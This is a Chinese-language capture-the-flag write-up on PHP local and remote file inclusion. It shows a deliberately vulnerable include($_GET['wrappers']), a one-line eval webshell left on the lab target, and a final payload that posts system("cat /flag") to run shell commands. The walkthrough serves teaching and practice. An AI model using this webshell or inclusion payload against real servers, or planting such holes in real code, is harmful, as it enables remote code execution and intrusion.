源码分析
讲解源码前, 先讲一下 PHP 文件包含漏洞
漏洞原理
文件包含用于
包含内容和函数
用于减少重复代码
示例
<?php $file = $_GET['file']; include($file); ?>
因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题
http://www.xxx.com/main.php?file=x.php
文件包含漏洞分类
本地文件包含漏洞-LIF
- 包含的文件在服务器本地
远程文件包含漏洞-RLF
包含的文件在第三方服务
需要php.ini中的
allow_url_fopen
和allow_url_include
为ONhttp://www.xxx.com/main.php?file=http://www.yyy.com/file.php
PHP常见的文件包含的函数
include
- 当使用该函数包含文件时, 只有代码执行到include()函数时才将文件包含进来, 发生错误时之给出一个警告, 继续向下执行
include_once
- 功能与Include()相同, 区别在于当重复调用同一文件时,程序只调用一次
require
- require()与include()的区别在于require( )执行如果发生错误, 函数会输出错误信
require_once
- 功能与require()相同, 区别在于当重复调用同一文件时, 程序只调用一次
通过上文大致知道 PHP 文件包含的分类(本地文件包含 与 远程文件包含)
由于本题开启了如下配置
allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On) allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)
所以可以使用远程文件包含的
接着开始分析源码
<?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : ''; highlight_file(__FILE__); ?>
源码其实很短, 除了显示代码的语句
highlight_file(__FILE__);
就是
isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';
即检测是否 GET 传入
wrappers
参数如果有的话就是用
include()
函数包含这个参数文件即使参数中的文件也在该文件执行
解题分析
通过这个语句
isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';
就可以进行文件包含了本题因为配置
allow_url_include=On
,allow_url_fopen=On
所以可以包含远程文件比如包含服务器上的一句话木马
但是这里探姬已经在当前目录在放了一个
backdoor.txt
的后门- 即一句话木马
所以这里就不使用服务器上的马了
不过也可以通过包含百度演示一下
http://靶机地址/?wrappers=http://www.baidu.com
这里放大一下, 方便把题目和百度的页面一起截进去
除此之外, 探姬还留了一个
phpinfo.txt
文件里面的内容是
<?php phpinfo(); ?>
我们可以通过包含这个文件, 参看当前PHP的信息
这里就可以看到
allow_url_include
,allow_url_fopen
是开启状态
解题步骤
上文通过
百度
演示了远程文件包含接下来就通过本地文件包含来获取flag
直接使用探姬留下的后文文件
backdoor.txt
http:/靶机地址/?wrappers=./backdoor.txt
这样就结束了?
Flag在哪?
怎么没有出现?
如果你有这样的疑问, 或许你还没理解文件包含的意思
文件包含只是把
传入的文件
包含在原本的代码中, 并且运行但是
backdoor.txt
有什么呢?如下
<?php @eval($_POST['ctf']); ?>
发现又什么了吗? ->
@eval($_POST['ctf']);
POST 传入的参数会被
eval
当做命令执行而
eval
只是执行 PHP 命令的为了执行系统命令, 我们还需要嵌套一层
system()
函数即
ctf
传入的参数应该是system("");
, 引号中间加入系统命令, 如ls
也就是在
?wrappers=./backdoor.txt
传参后, 当前页面的源码执行后, 又执行了backdoor.txt
的内容<?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : ''; highlight_file(__FILE__); ?> <?php @eval($_POST['ctf']); ?>
我们就可以接着一同 POST 请求传入参数
ctf
最后 Payload 报文如下
/?wrappers=./backdoor.txt ctf=system("cat /flag");